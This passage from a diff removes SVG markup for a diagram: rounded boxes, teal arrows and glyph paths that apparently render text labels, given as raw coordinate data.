416.9253,23.3899774 C417.373217,23.2545607 417.847175,23.1868524 418.347175,23.1868524 C419.107592,23.1868524 419.774258,23.2962274 420.347175,23.5149774 C420.920092,23.7337274 421.341967,24.0306024 421.6128,24.4056024 C421.89405,24.7806024 422.086758,25.2806024 422.190925,25.9056024 L420.58155,26.1243524 C420.508633,25.6243524 420.295092,25.2337274 419.940925,24.9524774 C419.597175,24.6712274 419.107592,24.5306024 418.472175,24.5306024 C417.711758,24.5306024 417.170092,24.6556024 416.847175,24.9056024 C416.534675,25.1556024 416.378425,25.4472691 416.378425,25.7806024 C416.378425,25.9889357 416.440925,26.1816441 416.565925,26.3587274 C416.701342,26.5358107 416.914883,26.6816441 417.20655,26.7962274 C417.3628,26.8587274 417.841967,26.9993524 418.64405,27.2181024 C419.810717,27.5201857 420.623217,27.7701857 421.08155,27.9681024 C421.539883,28.1660242 421.899258,28.452485 422.159675,28.827485 C422.420092,29.202485 422.5503,29.671235 422.5503,30.233735 C422.5503,30.7858183 422.388842,31.3014433 422.065925,31.78061 C421.753425,32.2597767 421.295092,32.6347767 420.690925,32.90561 C420.086758,33.1660267 419.404467,33.296235 418.64405,33.296235 C417.39405,33.296235 416.435717,33.0358183 415.76905,32.514985 C415.1128,31.9941517 414.696133,31.21811 414.51905,30.1868524 Z M428.08155,31.608735 L428.315925,33.06186 C427.857592,33.15561 427.446133,33.202485 427.08155,33.202485 C426.4878,33.202485 426.024258,33.108735 425.690925,32.921235 C425.368008,32.733735 425.138842,32.4889433 425.003425,32.18686 C424.868008,31.87436 424.8003,31.2285267 424.8003,30.24936 L424.8003,24.6712274 L423.597175,24.6712274 L423.597175,23.4056024 L424.8003,23.4056024 L424.8003,21.0149774 L426.4253,20.0306024 L426.4253,23.4056024 L428.08155,23.4056024 L428.08155,24.6712274 L426.4253,24.6712274 L426.4253,30.34311 C426.4253,30.8014433 426.451342,31.0983183 426.503425,31.233735 C426.565925,31.3691517 426.659675,31.4785267 426.784675,31.56186 C426.920092,31.6347767 427.1128,31.671235 427.3628,31.671235 C427.539883,31.671235 427.779467,31.6504017 428.08155,31.608735 Z M436.311744,29.96811 L437.999244,30.171235 C437.728411,31.1608183 437.233619,31.9316517 436.514869,32.483735 C435.796119,33.0254017 434.874244,33.296235 433.749244,33.296235 C432.332577,33.296235 431.207577,32.8639433 430.374244,31.99936 C429.551327,31.12436 429.139869,29.9004017 429.139869,28.327485 C429.139869,26.6920633 429.556536,25.4264357 430.389869,24.5306024 C431.233619,23.6347691 432.322161,23.1868524 433.655494,23.1868524 C434.947161,23.1868524 435.999244,23.6295607 436.811744,24.5149774 C437.634661,25.3899774 438.046119,26.6243549 438.046119,28.21811 C438.046119,28.3222767 438.046119,28.46811 438.046119,28.65561 L430.827369,28.65561 C430.889869,29.71811 431.191952,30.5358183 431.733619,31.108735 C432.275286,31.671235 432.947161,31.952485 433.749244,31.952485 C434.353411,31.952485 434.869036,31.796235 435.296119,31.483735 C435.723202,31.1608183 436.061744,30.65561 436.311744,29.96811 Z M430.921119,27.3118524 L436.327369,27.3118524 C436.254452,26.4993524 436.046119,25.8899774 435.702369,25.4837274 C435.181536,24.8483107 434.504452,24.5306024 433.671119,24.5306024 C432.921119,24.5306024 432.285702,24.7858107 431.764869,25.2962274 C431.254452,25.7962274 430.973202,26.4681024 430.921119,27.3118524 Z M440.062446,33.077485 L440.062446,23.405602 L441.531196,23.405602 L441.531196,24.764977 C441.833279,24.2858103 442.234321,23.905602 442.734321,23.624352 C443.244738,23.3326853 443.817654,23.186852 444.453071,23.186852 C445.171821,23.186852 445.760363,23.3378937 446.218696,23.639977 C446.677029,23.9316437 446.999946,24.343102 447.187446,24.874352 C447.958279,23.749352 448.953071,23.186852 450.171821,23.186852 C451.140571,23.186852 451.880154,23.452477 452.390571,23.983727 C452.911404,24.514977 453.171821,25.3326853 453.171821,26.436852 L453.171821,33.077485 L451.531196,33.077485 L451.531196,26.983727 C451.531196,26.327477 451.479113,25.858727 451.374946,25.577477 C451.270779,25.2858103 451.078071,25.0514353 450.796821,24.874352 C450.515571,24.6972687 450.187446,24.608727 449.812446,24.608727 C449.135363,24.608727 448.572863,24.8378937 448.124946,25.296227 C447.677029,25.7441437 447.453071,26.4628937 447.453071,27.452477 L447.453071,33.077485 L445.812446,33.077485 L445.812446,26.796227 C445.812446,26.0670603 445.677029,25.5201853 445.406196,25.155602 C445.135363,24.7910187 444.697863,24.608727 444.093696,24.608727 C443.635363,24.608727 443.208279,24.7285187 442.812446,24.968102 C442.416613,25.2076853 442.130154,25.561852 441.953071,26.030602 C441.786404,26.499352 441.703071,27.1764379 441.703071,28.0618596 L441.703071,33.077485 L440.062446,33.077485 L440.062446,33.077485 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M607.7156,4.1045 L607.7156,4.1045 C607.7156,2.5803148 608.951196,1.344719 610.475366,1.344719 L652.325891,1.344719 C653.057824,1.344719 653.75979,1.63547523 654.277368,2.1530381 C654.794946,2.67060097 655.085717,3.3725587 655.085717,4.1044999 L655.085717,48.6636799 C655.085717,50.1878651 653.850122,51.4234609 652.325891,51.4234609 L610.475366,51.4234609 C608.951196,51.4234609 607.7156,50.1878652 607.7156,48.6636799 L607.7156,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M607.7156,4.1045 L607.7156,4.1045 C607.7156,2.5803148 608.951196,1.344719 610.475366,1.344719 L652.325891,1.344719 C653.057824,1.344719 653.75979,1.63547523 654.277368,2.1530381 C654.794946,2.67060097 655.085717,3.3725587 655.085717,4.1044999 L655.085717,48.6636799 C655.085717,50.1878651 653.850122,51.4234609 652.325891,51.4234609 L610.475366,51.4234609 C608.951196,51.4234609 607.7156,50.1878652 607.7156,48.6636799 L607.7156,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M632.244,33.3041 L632.244,30.100975 L626.447125,30.100975 L626.447125,28.600975 L632.540875,19.944717 L633.884625,19.944717 L633.884625,28.600975 L635.6815,28.600975 L635.6815,30.100975 L633.884625,30.100975 L633.884625,33.3041 L632.244,33.3041 Z M632.244,28.600975 L632.244,22.5853424 L628.0565,28.600975 L632.244,28.600975 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="527.0889 16.85302 546.521944 16.85302 546.521944 38.679795 527.0889 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="599.0889 16.85302 618.521944 16.85302 618.521944 38.679795 599.0889 38.679795"></polygon>
-                <line x1="618.522" y1="27.7664" x2="533.1362" y2="28.7427794" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="600.5232" y1="27.97221" x2="533.136176" y2="28.7427789" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="600.57983 32.9271 614.136532 27.8165577 600.466488 23.0173557"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="543.8793 12.06562 588.603726 12.06562 588.603726 43.435699 543.8793 43.435699"></polygon>
-                <path d="M560.7394,23.201904 L560.7394,21.311279 L562.380025,21.311279 L562.380025,23.201904 L560.7394,23.201904 Z M560.7394,34.670654 L560.7394,24.998779 L562.380025,24.998779 L562.380025,34.670654 L560.7394,34.670654 Z M564.227986,31.780029 L565.852986,31.530029 C565.93632,32.1758623 566.18632,32.6758623 566.602986,33.030029 C567.019653,33.373779 567.602986,33.545654 568.352986,33.545654 C569.102986,33.545654 569.660278,33.3946123 570.024861,33.092529 C570.389445,32.780029 570.571736,32.4154457 570.571736,31.998779 C570.571736,31.6341957 570.410278,31.342529 570.087361,31.123779 C569.868611,30.9779457 569.31132,30.795654 568.415486,30.576904 C567.207153,30.264404 566.368611,29.998779 565.899861,29.780029 C565.441528,29.561279 565.09257,29.2591957 564.852986,28.873779 C564.613403,28.4779457 564.493611,28.0404457 564.493611,27.561279 C564.493611,27.1341957 564.59257,26.7383623 564.790486,26.373779 C564.988403,25.998779 565.259236,25.6914873 565.602986,25.451904 C565.852986,25.264404 566.196736,25.108154 566.634236,24.983154 C567.082153,24.8477373 567.556111,24.780029 568.056111,24.780029 C568.816528,24.780029 569.483195,24.889404 570.056111,25.108154 C570.629028,25.326904 571.050903,25.623779 571.321736,25.998779 C571.602986,26.373779 571.795695,26.873779 571.899861,27.498779 L570.290486,27.717529 C570.21757,27.217529 570.004028,26.826904 569.649861,26.545654 C569.306111,26.264404 568.816528,26.123779 568.181111,26.123779 C567.420695,26.123779 566.879028,26.248779 566.556111,26.498779 C566.243611,26.748779 566.087361,27.0404457 566.087361,27.373779 C566.087361,27.5821123 566.149861,27.7748207 566.274861,27.951904 C566.410278,28.1289873 566.62382,28.2748207 566.915486,28.389404 C567.071736,28.451904 567.550903,28.592529 568.352986,28.811279 C569.519653,29.1133623 570.332153,29.3633623 570.790486,29.561279 C571.24882,29.7591957 571.608195,30.045654 571.868611,30.420654 C572.129028,30.795654 572.259236,31.264404 572.259236,31.826904 C572.259236,32.3789873 572.097778,32.8946123 571.774861,33.373779 C571.462361,33.8529457 571.004028,34.2279457 570.399861,34.498779 C569.795695,34.7591957 569.113403,34.889404 568.352986,34.889404 C567.102986,34.889404 566.144653,34.6289873 565.477986,34.108154 C564.821736,33.5873207 564.40507,32.811279 564.227986,31.780029 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <path d="M759.7156,4.1045 L759.7156,4.1045 C759.7156,2.5803148 760.951196,1.344719 762.475366,1.344719 L804.325891,1.344719 C805.057824,1.344719 805.75979,1.63547523 806.277368,2.1530381 C806.794946,2.67060097 807.085717,3.3725587 807.085717,4.1044999 L807.085717,48.6636799 C807.085717,50.1878651 805.850122,51.4234609 804.325891,51.4234609 L762.475366,51.4234609 C760.951196,51.4234609 759.7156,50.1878652 759.7156,48.6636799 L759.7156,4.1045 Z" id="Path" fill-opacity="0" fill="#000000"></path>
-                <path d="M759.7156,4.1045 L759.7156,4.1045 C759.7156,2.5803148 760.951196,1.344719 762.475366,1.344719 L804.325891,1.344719 C805.057824,1.344719 805.75979,1.63547523 806.277368,2.1530381 C806.794946,2.67060097 807.085717,3.3725587 807.085717,4.1044999 L807.085717,48.6636799 C807.085717,50.1878651 805.850122,51.4234609 804.325891,51.4234609 L762.475366,51.4234609 C760.951196,51.4234609 759.7156,50.1878652 759.7156,48.6636799 L759.7156,4.1045 Z" id="Path" stroke="#979CAB" stroke-width="2" stroke-linejoin="round"></path>
-                <path d="M778.994,29.8041 L780.71275,29.663475 C780.83775,30.4968083 781.129417,31.1270167 781.58775,31.5541 C782.0565,31.9707667 782.619,32.1791 783.27525,32.1791 C784.066917,32.1791 784.733583,31.882225 785.27525,31.288475 C785.827333,30.694725 786.103375,29.9082667 786.103375,28.9291 C786.103375,27.9915949 785.83775,27.2520091 785.3065,26.7103424 C784.785667,26.1686757 784.098167,25.8978424 783.244,25.8978424 C782.723167,25.8978424 782.249208,26.0176341 781.822125,26.2572174 C781.395042,26.4968007 781.061708,26.8093007 780.822125,27.1947174 L779.27525,26.9915924 L780.572125,20.1322174 L787.21275,20.1322174 L787.21275,21.6947174 L781.884625,21.6947174 L781.165875,25.2884674 C781.967958,24.7259674 782.8065,24.4447174 783.6815,24.4447174 C784.848167,24.4447174 785.832542,24.8509674 786.634625,25.6634674 C787.436708,26.4655507 787.83775,27.5020116 787.83775,28.77285 C787.83775,29.9811833 787.488792,31.0280583 786.790875,31.913475 C785.926292,32.9968083 784.754417,33.538475 783.27525,33.538475 C782.066917,33.538475 781.077333,33.1999333 780.3065,32.52285 C779.535667,31.83535 779.098167,30.9291 778.994,29.8041 Z" id="Path" fill="#000000" fill-rule="nonzero"></path>
-                <polygon id="Path" fill="#FFFFFF" points="647.0889 16.85302 666.521944 16.85302 666.521944 38.679795 647.0889 38.679795"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="751.0889 16.85302 770.521944 16.85302 770.521944 38.679795 751.0889 38.679795"></polygon>
-                <line x1="770.522" y1="27.7664" x2="657.38815" y2="29.5616728" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="752.5243" y1="28.052" x2="657.38813" y2="29.5616741" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="752.60284 33.00658 766.136837 27.8359944 752.445614 23.0974309"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="669.7087 10.47244 740.606344 10.47244 740.606344 41.842511 669.7087 41.842511"></polygon>
-                <path d="M681.3761,33.07748 L681.3761,24.671222 L679.922975,24.671222 L679.922975,23.405597 L681.3761,23.405597 L681.3761,22.374347 C681.3761,21.7285137 681.433392,21.2441387 681.547975,20.921222 C681.704225,20.4941387 681.980267,20.1503887 682.3761,19.889972 C682.771933,19.6295553 683.329225,19.499347 684.047975,19.499347 C684.506308,19.499347 685.016725,19.5514303 685.579225,19.655597 L685.329225,21.093097 C684.995892,21.030597 684.678183,20.999347 684.3761,20.999347 C683.8761,20.999347 683.521933,21.108722 683.3136,21.327472 C683.105267,21.5358053 683.0011,21.9316387 683.0011,22.514972 L683.0011,23.405597 L684.891725,23.405597 L684.891725,24.671222 L683.0011,24.671222 L683.0011,33.07748 L681.3761,33.07748 Z M686.153139,33.07748 L686.153139,23.405597 L687.621889,23.405597 L687.621889,24.874347 C687.996889,24.186847 688.340639,23.733722 688.653139,23.514972 C688.976055,23.296222 689.330222,23.186847 689.715639,23.186847 C690.267722,23.186847 690.830222,23.3639303 691.403139,23.718097 L690.840639,25.233722 C690.434389,24.9941387 690.033347,24.874347 689.637514,24.874347 C689.27293,24.874347 688.950014,24.983722 688.668764,25.202472 C688.387514,25.421222 688.184389,25.718097 688.059389,26.093097 C687.871889,26.6764303 687.778139,27.3170579 687.778139,28.0149796 L687.778139,33.07748 L686.153139,33.07748 L686.153139,33.07748 Z M698.693971,31.88998 C698.079388,32.4003967 697.490846,32.76498 696.928346,32.98373 C696.376263,33.1920633 695.777304,33.29623 695.131471,33.29623 C694.068971,33.29623 693.251263,33.0358133 692.678346,32.51498 C692.105429,31.9941467 691.818971,31.3326883 691.818971,30.530605 C691.818971,30.0514383 691.928346,29.6191467 692.147096,29.23373 C692.365846,28.8378967 692.647096,28.5253967 692.990846,28.29623 C693.345013,28.0566416 693.740846,27.8743474 694.178346,27.7493474 C694.490846,27.6660141 694.975221,27.5826807 695.631471,27.4993474 C696.954388,27.3430974 697.928346,27.1555974 698.553346,26.9368474 C698.563763,26.7076807 698.568971,26.5670557 698.568971,26.5149724 C698.568971,25.8483057 698.412721,25.3743474 698.100221,25.0930974 C697.683554,24.7285141 697.058554,24.5462224 696.225221,24.5462224 C695.454388,24.5462224 694.886679,24.6816391 694.522096,24.9524724 C694.157513,25.2233057 693.886679,25.6972641 693.709596,26.3743474 L692.100221,26.1555974 C692.246054,25.4785141 692.485638,24.9316391 692.818971,24.5149724 C693.152304,24.0878891 693.636679,23.7597641 694.272096,23.5305974 C694.907513,23.3014307 695.636679,23.1868474 696.459596,23.1868474 C697.292929,23.1868474 697.964804,23.2858057 698.475221,23.4837224 C698.996054,23.6712224 699.376263,23.9160141 699.615846,24.2180974 C699.865846,24.5097641 700.037721,24.8795557 700.131471,25.3274724 C700.183554,25.6087224 700.209596,26.1139307 700.209596,26.8430974 L700.209596,29.030605 C700.209596,30.5514383 700.246054,31.51498 700.318971,31.92123 C700.391888,32.3170633 700.527304,32.70248 700.725221,33.07748 L699.022096,33.07748 C698.845013,32.73373 698.735638,32.3378967 698.693971,31.88998 Z M698.553346,28.218105 C697.959596,28.468105 697.068971,28.6764383 695.881471,28.843105 C695.204388,28.936855 694.725221,29.04623 694.443971,29.17123 C694.162721,29.29623 693.943971,29.4733133 693.787721,29.70248 C693.641888,29.9316467 693.568971,30.1920633 693.568971,30.48373 C693.568971,30.92123 693.735638,31.2858133 694.068971,31.57748 C694.402304,31.8691467 694.886679,32.01498 695.522096,32.01498 C696.147096,32.01498 696.704388,31.8795633 697.193971,31.60873 C697.693971,31.32748 698.058554,30.9472717 698.287721,30.468105 C698.464804,30.093105 698.553346,29.54623 698.553346,28.82748 L698.553346,28.218105 Z M702.444642,33.874355 L704.038392,34.10873 C704.111309,34.60873 704.298809,34.968105 704.600892,35.1868474 C705.007142,35.4889383 705.564434,35.63998 706.272767,35.63998 C707.033184,35.63998 707.616517,35.4889383 708.022767,35.1868474 C708.439434,34.8847717 708.720684,34.4628967 708.866517,33.92123 C708.949851,33.5878967 708.986309,32.8847717 708.975892,31.811855 C708.267559,32.655605 707.376934,33.07748 706.304017,33.07748 C704.970684,33.07748 703.939434,32.5983133 703.210267,31.63998 C702.481101,30.6816467 702.116517,29.530605 702.116517,28.1868474 C702.116517,27.2597666 702.283184,26.4055974 702.616517,25.6243474 C702.960267,24.8430974 703.444642,24.2441391 704.069642,23.8274724 C704.705059,23.4003891 705.455059,23.1868474 706.319642,23.1868474 C707.455059,23.1868474 708.392559,23.6451807 709.132142,24.5618474 L709.132142,23.4055974 L710.647767,23.4055974 L710.647767,31.7649804 C710.647767,33.2753971 710.491517,34.3431054 710.179017,34.9681054 C709.876934,35.5931054 709.392559,36.0878971 708.725892,36.4524804 C708.069642,36.8170637 707.251934,36.9993554 706.272767,36.9993554 C705.126934,36.9993554 704.194642,36.7389387 703.475892,36.2181054 C702.767559,35.7076887 702.423809,34.9264387 702.444642,33.8743554 L702.444642,33.874355 Z M703.804017,28.061855 C703.804017,29.3326883 704.054017,30.2597717 704.554017,30.843105 C705.064434,31.4264383 705.699851,31.718105 706.460267,31.718105 C707.210267,31.718105 707.840476,31.4316467 708.350892,30.85873 C708.861309,30.2753967 709.116517,29.3639383 709.116517,28.124355 C709.116517,26.9368499 708.850892,26.0462224 708.319642,25.4524724 C707.798809,24.8483057 707.168601,24.5462224 706.429017,24.5462224 C705.699851,24.5462224 705.080059,24.8430974 704.569642,25.4368474 C704.059226,26.0201807 703.804017,26.8951833 703.804017,28.061855 Z M713.132874,21.6087224 L713.132874,19.7180974 L714.773499,19.7180974 L714.773499,21.6087224 L713.132874,21.6087224 Z M713.132874,33.0774804 L713.132874,23.4055974 L714.773499,23.4055974 L714.773499,33.0774804 L713.132874,33.0774804 Z M717.230836,33.0774804 L717.230836,19.7180974 L718.871461,19.7180974 L718.871461,33.0774804 L717.230836,33.0774804 Z M728.047547,29.9681054 L729.735047,30.1712304 C729.464214,31.1608137 728.969422,31.9316471 728.250672,32.4837304 C727.531922,33.0253971 726.610047,33.2962304 725.485047,33.2962304 C724.06838,33.2962304 722.94338,32.8639387 722.110047,31.9993554 C721.28713,31.1243554 720.875672,29.9003971 720.875672,28.3274804 C720.875672,26.6920587 721.292339,25.4264311 722.125672,24.5305978 C722.969422,23.6347645 724.057964,23.1868478 725.391297,23.1868478 C726.682964,23.1868478 727.735047,23.6295561 728.547547,24.5149728 C729.370464,25.3899728 729.781922,26.6243503 729.781922,28.2181054 C729.781922,28.3222721 729.781922,28.4681054 729.781922,28.6556054 L722.563172,28.6556054 C722.625672,29.7181054 722.927755,30.5358137 723.469422,31.1087304 C724.011089,31.6712304 724.682964,31.9524804 725.485047,31.9524804 C726.089214,31.9524804 726.604839,31.7962304 727.031922,31.4837304 C727.459005,31.1608137 727.797547,30.6556054 728.047547,29.9681054 Z M722.656922,27.3118478 L728.063172,27.3118478 C727.990255,26.4993478 727.781922,25.8899728 727.438172,25.4837228 C726.917339,24.8483061 726.240255,24.5305978 725.406922,24.5305978 C724.656922,24.5305978 724.021505,24.7858061 723.500672,25.2962228 C722.990255,25.7962228 722.709005,26.4680978 722.656922,27.3118478 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <line x1="330.52197" y1="27.7664" x2="217.45111" y2="27.7664" id="Path" fill-opacity="0" fill="#000000"></line>
-                <line x1="312.52197" y1="27.7664" x2="217.45111" y2="27.7664" id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round"></line>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="312.52197 32.7216 326.136258 27.7664 312.52197 22.8112074"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="229.4882 10.47244 300.385844 10.47244 300.385844 41.842511 229.4882 41.842511"></polygon>
-                <path d="M242.8374,33.07748 L242.8374,23.405597 L244.30615,23.405597 L244.30615,24.780597 C245.014483,23.718097 246.040525,23.186847 247.384275,23.186847 C247.967608,23.186847 248.504067,23.2910137 248.99365,23.499347 C249.483233,23.7076803 249.847817,23.983722 250.0874,24.327472 C250.3374,24.6608053 250.509275,25.061847 250.603025,25.530597 C250.665525,25.8326803 250.696775,26.3639303 250.696775,27.124347 L250.696775,33.07748 L249.05615,33.07748 L249.05615,27.186847 C249.05615,26.5201803 248.988442,26.0253887 248.853025,25.702472 C248.728025,25.3691387 248.504067,25.1035137 248.18115,24.905597 C247.858233,24.7076803 247.478025,24.608722 247.040525,24.608722 C246.342608,24.608722 245.738442,24.8326803 245.228025,25.280597 C244.728025,25.718097 244.478025,26.5566387 244.478025,27.796222 L244.478025,33.07748 L242.8374,33.07748 L242.8374,33.07748 Z M259.525632,31.88998 C258.911049,32.4003967 258.322507,32.76498 257.760007,32.98373 C257.207924,33.1920633 256.608965,33.29623 255.963132,33.29623 C254.900632,33.29623 254.082924,33.0358133 253.510007,32.51498 C252.93709,31.9941467 252.650632,31.3326883 252.650632,30.530605 C252.650632,30.0514383 252.760007,29.6191467 252.978757,29.23373 C253.197507,28.8378967 253.478757,28.5253967 253.822507,28.29623 C254.176674,28.0566416 254.572507,27.8743474 255.010007,27.7493474 C255.322507,27.6660141 255.806882,27.5826807 256.463132,27.4993474 C257.786049,27.3430974 258.760007,27.1555974 259.385007,26.9368474 C259.395424,26.7076807 259.400632,26.5670557 259.400632,26.5149724 C259.400632,25.8483057 259.244382,25.3743474 258.931882,25.0930974 C258.515215,24.7285141 257.890215,24.5462224 257.056882,24.5462224 C256.286049,24.5462224 255.71834,24.6816391 255.353757,24.9524724 C254.989174,25.2233057 254.71834,25.6972641 254.541257,26.3743474 L252.931882,26.1555974 C253.077715,25.4785141 253.317299,24.9316391 253.650632,24.5149724 C253.983965,24.0878891 254.46834,23.7597641 255.103757,23.5305974 C255.739174,23.3014307 256.46834,23.1868474 257.291257,23.1868474 C258.12459,23.1868474 258.796465,23.2858057 259.306882,23.4837224 C259.827715,23.6712224 260.207924,23.9160141 260.447507,24.2180974 C260.697507,24.5097641 260.869382,24.8795557 260.963132,25.3274724 C261.015215,25.6087224 261.041257,26.1139307 261.041257,26.8430974 L261.041257,29.030605 C261.041257,30.5514383 261.077715,31.51498 261.150632,31.92123 C261.223549,32.3170633 261.358965,32.70248 261.556882,33.07748 L259.853757,33.07748 C259.676674,32.73373 259.567299,32.3378967 259.525632,31.88998 Z M259.385007,28.218105 C258.791257,28.468105 257.900632,28.6764383 256.713132,28.843105 C256.036049,28.936855 255.556882,29.04623 255.275632,29.17123 C254.994382,29.29623 254.775632,29.4733133 254.619382,29.70248 C254.473549,29.9316467 254.400632,30.1920633 254.400632,30.48373 C254.400632,30.92123 254.567299,31.2858133 254.900632,31.57748 C255.233965,31.8691467 255.71834,32.01498 256.353757,32.01498 C256.978757,32.01498 257.536049,31.8795633 258.025632,31.60873 C258.525632,31.32748 258.890215,30.9472717 259.119382,30.468105 C259.296465,30.093105 259.385007,29.54623 259.385007,28.82748 L259.385007,28.218105 Z M263.588834,33.07748 L263.588834,23.405597 L265.057584,23.405597 L265.057584,24.764972 C265.359667,24.2858053 265.760709,23.905597 266.260709,23.624347 C266.771126,23.3326803 267.344042,23.186847 267.979459,23.186847 C268.698209,23.186847 269.286751,23.3378887 269.745084,23.639972 C270.203417,23.9316387 270.526334,24.343097 270.713834,24.874347 C271.484667,23.749347 272.479459,23.186847 273.698209,23.186847 C274.666959,23.186847 275.406542,23.452472 275.916959,23.983722 C276.437792,24.514972 276.698209,25.3326803 276.698209,26.436847 L276.698209,33.07748 L275.057584,33.07748 L275.057584,26.983722 C275.057584,26.327472 275.005501,25.858722 274.901334,25.577472 C274.797167,25.2858053 274.604459,25.0514303 274.323209,24.874347 C274.041959,24.6972637 273.713834,24.608722 273.338834,24.608722 C272.661751,24.608722 272.099251,24.8378887 271.651334,25.296222 C271.203417,25.7441387 270.979459,26.4628887 270.979459,27.452472 L270.979459,33.07748 L269.338834,33.07748 L269.338834,26.796222 C269.338834,26.0670553 269.203417,25.5201803 268.932584,25.155597 C268.661751,24.7910137 268.224251,24.608722 267.620084,24.608722 C267.161751,24.608722 266.734667,24.7285137 266.338834,24.968097 C265.943001,25.2076803 265.656542,25.561847 265.479459,26.030597 C265.312792,26.499347 265.229459,27.1764329 265.229459,28.0618546 L265.229459,33.07748 L263.588834,33.07748 L263.588834,33.07748 Z M285.754636,29.968105 L287.442136,30.17123 C287.171303,31.1608133 286.676511,31.9316467 285.957761,32.48373 C285.239011,33.0253967 284.317136,33.29623 283.192136,33.29623 C281.775469,33.29623 280.650469,32.8639383 279.817136,31.999355 C278.994219,31.124355 278.582761,29.9003967 278.582761,28.32748 C278.582761,26.6920583 278.999428,25.4264307 279.832761,24.5305974 C280.676511,23.6347641 281.765053,23.1868474 283.098386,23.1868474 C284.390053,23.1868474 285.442136,23.6295557 286.254636,24.5149724 C287.077553,25.3899724 287.489011,26.6243499 287.489011,28.218105 C287.489011,28.3222717 287.489011,28.468105 287.489011,28.655605 L280.270261,28.655605 C280.332761,29.718105 280.634844,30.5358133 281.176511,31.10873 C281.718178,31.67123 282.390053,31.95248 283.192136,31.95248 C283.796303,31.95248 284.311928,31.79623 284.739011,31.48373 C285.166094,31.1608133 285.504636,30.655605 285.754636,29.968105 Z M280.364011,27.3118474 L285.770261,27.3118474 C285.697344,26.4993474 285.489011,25.8899724 285.145261,25.4837224 C284.624428,24.8483057 283.947344,24.5305974 283.114011,24.5305974 C282.364011,24.5305974 281.728594,24.7858057 281.207761,25.2962224 C280.697344,25.7962224 280.416094,26.4680974 280.364011,27.3118474 Z" id="Shape" fill="#000000" fill-rule="nonzero"></path>
-                <polyline id="Path" fill-opacity="0" fill="#000000" points="192.80577 54.64905 192.80577 111.062975 24.80577 111.062975 24.80577 51.436449"></polyline>
-                <polyline id="Path" stroke="#00BFB3" stroke-width="3" stroke-linejoin="round" points="192.80577 72.64903 192.80577 111.06297 24.80577 111.06297 24.80577 51.436444"></polyline>
-                <polygon id="Path" stroke="#00BFB3" stroke-width="3" fill="#00BFB3" points="197.76097 72.64905 192.80577 59.034746 187.85057 72.64905"></polygon>
-                <polygon id="Path" fill="#FFFFFF" points="67.93664 94.56168 138.83428 94.56168 138.83428 125.931767 67.93664 125.931767"></polygon>
-                <path d="M95.84567,117.16672 L95.84567,115.94797 C95.2415033,116.906303 94.3404617,117.38547 93.142545,117.38547 C92.3717117,117.38547 91.6633783,117.171928 91.017545,116.744845 C90.3717117,116.317762 89.8717117,115.724012 89.517545,114.963595 C89.1633783,114.203178 88.986295,113.328178 88.986295,112.338595 C88.986295,111.369845 89.1477533,110.494845 89.47067,109.713595 C89.7935867,108.921928 90.2727533,108.317762 90.90817,107.901095 C91.5540033,107.484428 92.2779617,107.276095 93.080045,107.276095 C93.6633783,107.276095 94.1790033,107.401095 94.62692,107.651095 C95.0852533,107.890678 95.455045,108.208387 95.736295,108.60422 L95.736295,103.807345 L97.37692,103.807345 L97.37692,117.16672 L95.84567,117.16672 Z M90.673795,112.338595 C90.673795,113.578178 90.9342117,114.505262 91.455045,115.119845 C91.9758783,115.734428 92.5904617,116.04172 93.298795,116.04172 C94.017545,116.04172 94.62692,115.750053 95.12692,115.16672 C95.62692,114.57297 95.87692,113.677137 95.87692,112.47922 C95.87692,111.156303 95.6217117,110.187553 95.111295,109.57297 C94.6008783,108.94797 93.97067,108.63547 93.22067,108.63547 C92.50192,108.63547 91.8977533,108.932345 91.40817,109.526095 C90.9185867,110.119845 90.673795,111.057345 90.673795,112.338595 Z M99.955762,117.16672 L99.955762,107.494845 L101.424512,107.494845 L101.424512,108.869845 C102.132845,107.807345 103.158887,107.276095 104.502637,107.276095 C105.08597,107.276095 105.622429,107.380262 106.112012,107.588595 C106.601595,107.796928 106.966179,108.07297 107.205762,108.41672 C107.455762,108.750053 107.627637,109.151095 107.721387,109.619845 C107.783887,109.921928 107.815137,110.453178 107.815137,111.213595 L107.815137,117.16672 L106.174512,117.16672 L106.174512,111.276095 C106.174512,110.609428 106.106804,110.114637 105.971387,109.79172 C105.846387,109.458387 105.622429,109.192762 105.299512,108.994845 C104.976595,108.796928 104.596387,108.69797 104.158887,108.69797 C103.46097,108.69797 102.856804,108.921928 102.346387,109.369845 C101.846387,109.807345 101.596387,110.645887 101.596387,111.88547 L101.596387,117.16672 L99.955762,117.16672 Z M109.675229,114.276095 L111.300229,114.026095 C111.383562,114.671928 111.633562,115.171928 112.050229,115.526095 C112.466896,115.869845 113.050229,116.04172 113.800229,116.04172 C114.550229,116.04172 115.107521,115.890678 115.472104,115.588595 C115.836687,115.276095 116.018979,114.911512 116.018979,114.494845 C116.018979,114.130262 115.857521,113.838595 115.534604,113.619845 C115.315854,113.474012 114.758562,113.29172 113.862729,113.07297 C112.654396,112.76047 111.815854,112.494845 111.347104,112.276095 C110.888771,112.057345 110.539812,111.755262 110.300229,111.369845 C110.060646,110.974012 109.940854,110.536512 109.940854,110.057345 C109.940854,109.630262 110.039812,109.234428 110.237729,108.869845 C110.435646,108.494845 110.706479,108.187553 111.050229,107.94797 C111.300229,107.76047 111.643979,107.60422 112.081479,107.47922 C112.529396,107.343803 113.003354,107.276095 113.503354,107.276095 C114.263771,107.276095 